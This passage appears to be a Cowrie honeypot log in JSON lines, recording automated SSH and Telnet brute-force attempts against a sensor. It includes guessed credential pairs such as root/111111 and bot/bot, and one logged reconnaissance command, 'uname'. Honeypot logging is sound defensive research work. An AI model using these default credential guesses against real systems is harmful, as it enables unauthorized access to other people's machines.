{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:42.585760Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:42.714564Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:43.319953Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52800,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0b58b753dd","protocol":"telnet","message":"New connection: 152.42.224.71:52800 (10.17.0.5:23) [session: cc0b58b753dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:43.482237Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:43.946443Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:43.949845Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:44.179829Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:44.185966Z","src_ip":"31.40.204.166","session":"3c718770181c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46ad4636840","protocol":"telnet","message":"New connection: 152.42.224.71:59862 (10.17.0.5:23) [session: b46ad4636840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:47.737908Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7c06c6786a","protocol":"telnet","message":"New connection: 152.42.224.71:59870 (10.17.0.5:23) [session: ec7c06c6786a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:50.691669Z"}
{"eventid":"cowrie.session.closed","duration":53.07201910018921,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:51.332236Z","src_ip":"152.42.224.71","session":"b52f2ba7b773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.484991788864136,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:52.397627Z","src_ip":"31.168.107.151","session":"2a596f13a105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.538076400756836,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:53.335966Z","src_ip":"152.42.224.71","session":"4074e77121ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e2d2b1eaacc","protocol":"ssh","message":"New connection: 31.40.204.166:54034 (159.203.135.109:22) [session: 1e2d2b1eaacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:54.717268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:54.782385Z","src_ip":"31.40.204.166","session":"1e2d2b1eaacc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:54.907555Z","src_ip":"31.40.204.166","session":"1e2d2b1eaacc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:55.487657Z","src_ip":"31.40.204.166","session":"1e2d2b1eaacc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:56.824473Z","src_ip":"31.40.204.166","session":"1e2d2b1eaacc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130486488342,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:57.141813Z","src_ip":"152.42.224.71","session":"c13e0ab7e7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65322,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44c71ed4f00","protocol":"ssh","message":"New connection: 152.42.212.128:65322 (10.17.0.5:22) [session: d44c71ed4f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:00.437692Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:00.443163Z","src_ip":"152.42.212.128","session":"d44c71ed4f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:00.447759Z","src_ip":"152.42.212.128","session":"d44c71ed4f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.24194145202637,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:01.412554Z","src_ip":"152.42.224.71","session":"021a8e55be68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59564,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c34d3fdb51","protocol":"telnet","message":"New connection: 152.42.224.71:59564 (10.17.0.5:23) [session: 22c34d3fdb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:03.780281Z"}
{"eventid":"cowrie.session.closed","duration":95.07702589035034,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:04.709143Z","src_ip":"152.42.224.71","session":"43734062cd8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55462,"dst_ip":"10.17.0.5","dst_port":22,"session":"9409be80c40e","protocol":"ssh","message":"New connection: 51.250.105.222:55462 (10.17.0.5:22) [session: 9409be80c40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:05.064769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:05.070240Z","src_ip":"51.250.105.222","session":"9409be80c40e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:05.196718Z","src_ip":"51.250.105.222","session":"9409be80c40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tdutybz","message":"login attempt [root/tdutybz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:05.574758Z","src_ip":"51.250.105.222","session":"9409be80c40e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:06.704515Z","src_ip":"51.250.105.222","session":"9409be80c40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59184,"dst_ip":"159.203.135.109","dst_port":22,"session":"d34b6b661d3e","protocol":"ssh","message":"New connection: 31.40.204.166:59184 (159.203.135.109:22) [session: d34b6b661d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:06.708689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:06.712688Z","src_ip":"31.40.204.166","session":"d34b6b661d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:06.892558Z","src_ip":"31.40.204.166","session":"d34b6b661d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:07.580091Z","src_ip":"31.40.204.166","session":"d34b6b661d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00097107887268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:07.961354Z","src_ip":"152.42.224.71","session":"d97d1317b177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49782,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2575b83413","protocol":"telnet","message":"New connection: 152.42.224.71:49782 (10.17.0.5:23) [session: 0d2575b83413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:08.772073Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:08.783215Z","src_ip":"31.40.204.166","session":"d34b6b661d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.766193866729736,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:09.503962Z","src_ip":"152.42.224.71","session":"b46ad4636840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"42583036168d","protocol":"telnet","message":"New connection: 152.42.224.71:49790 (10.17.0.5:23) [session: 42583036168d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:09.671040Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49792,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3dd5cccd549","protocol":"telnet","message":"New connection: 152.42.224.71:49792 (10.17.0.5:23) [session: f3dd5cccd549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:10.715024Z"}
{"eventid":"cowrie.session.closed","duration":40.009175539016724,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:15.399370Z","src_ip":"152.42.224.71","session":"e02967900d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbf90a78c7e","protocol":"telnet","message":"New connection: 152.42.224.71:50050 (10.17.0.5:23) [session: 5bbf90a78c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:16.784474Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55470,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ae47e1a8f4f","protocol":"ssh","message":"New connection: 31.40.204.166:55470 (159.203.135.109:22) [session: 0ae47e1a8f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:18.606483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:18.706107Z","src_ip":"31.40.204.166","session":"0ae47e1a8f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:18.811414Z","src_ip":"31.40.204.166","session":"0ae47e1a8f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:19.427178Z","src_ip":"31.40.204.166","session":"0ae47e1a8f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee7a87db399","protocol":"telnet","message":"New connection: 152.42.224.71:50062 (10.17.0.5:23) [session: 9ee7a87db399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:20.393224Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:20.607414Z","src_ip":"31.40.204.166","session":"0ae47e1a8f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.597774505615234,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:24.289346Z","src_ip":"152.42.224.71","session":"ec7c06c6786a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.370603322982788,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:26.085490Z","src_ip":"152.42.224.71","session":"f3dd5cccd549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.17513585090637,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:29.657238Z","src_ip":"152.42.224.71","session":"cc0b58b753dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51050,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee857c74b9e9","protocol":"ssh","message":"New connection: 31.40.204.166:51050 (159.203.135.109:22) [session: ee857c74b9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:31.084627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:31.089900Z","src_ip":"31.40.204.166","session":"ee857c74b9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 